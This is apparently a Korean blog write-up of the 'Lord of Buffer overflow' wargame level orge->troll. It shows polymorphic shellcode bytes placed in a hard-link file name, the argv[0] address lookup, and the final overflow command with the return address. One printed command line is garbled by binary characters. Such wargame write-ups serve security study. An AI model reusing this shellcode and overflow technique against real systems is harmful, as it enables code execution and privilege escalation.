systemhacking/practice

lob orge->troll

qkqhxla1 2015. 1. 15. 14:15

1. argv[1],argv[2]가 막혀있으므로 argv[0]으로 공격.

링크를 이용한 공격시 \x2f('/')가 들어가면 원래 존재하는 디렉터리가 아닌 이상 링크를 안시킨다고

함. 그러므로 쉘코드에 \x2f는 사용금지, 그래서 다형성 쉘코드(쉘코드 변형된거)를 사용한다고함.


2. gcc -o trol1 trol1.c

ln trol1 troll123`python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

과 같이 dumpcode를 넣은 trol1을 troll123쉘코드 로 링크 시킨 후 troll123을 실행시켜 argv[0]의 뒷부분의 주소를 알아냄. argv[0]의 뒷부분 주소는 빨간부분.. argv[0]의 주소는 필요 없고, 그 뒷부분에 우리가 쉘코드를 삽입했기 때문에 뒷부분, 즉 쉘코드가 시작되는 \xeb부분의 주소를 알아내야됨!



0xbffffbbf 이다. (./troll123이라는 문자열이 끝난후) 


3. 저기로 공격시도.

ln troll troll124`python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`


공격해야하는 troll을 troll124쉘코드 로 링크 건 후, 

./troll125?Q^12€l^N^A€?Au楕^E凹2핽i00tii0cjo듾QT듼슧^L?  `python -c 'print "a"*44+"\xbf\xfb\xff\xbf"'`

과 같이 실행하여 인자로 0xbffffbbf를 넘겨주면 통과

'systemhacking > practice' 카테고리의 다른 글

lob skeleton->goelm (LD_PRELOAD)  (0) 2015.01.18
lob vampire->skeleton  (0) 2015.01.17
lob darkelf->orge  (0) 2015.01.09
lob wolfman->darkelf  (0) 2015.01.05
lob goblin->orc  (0) 2015.01.04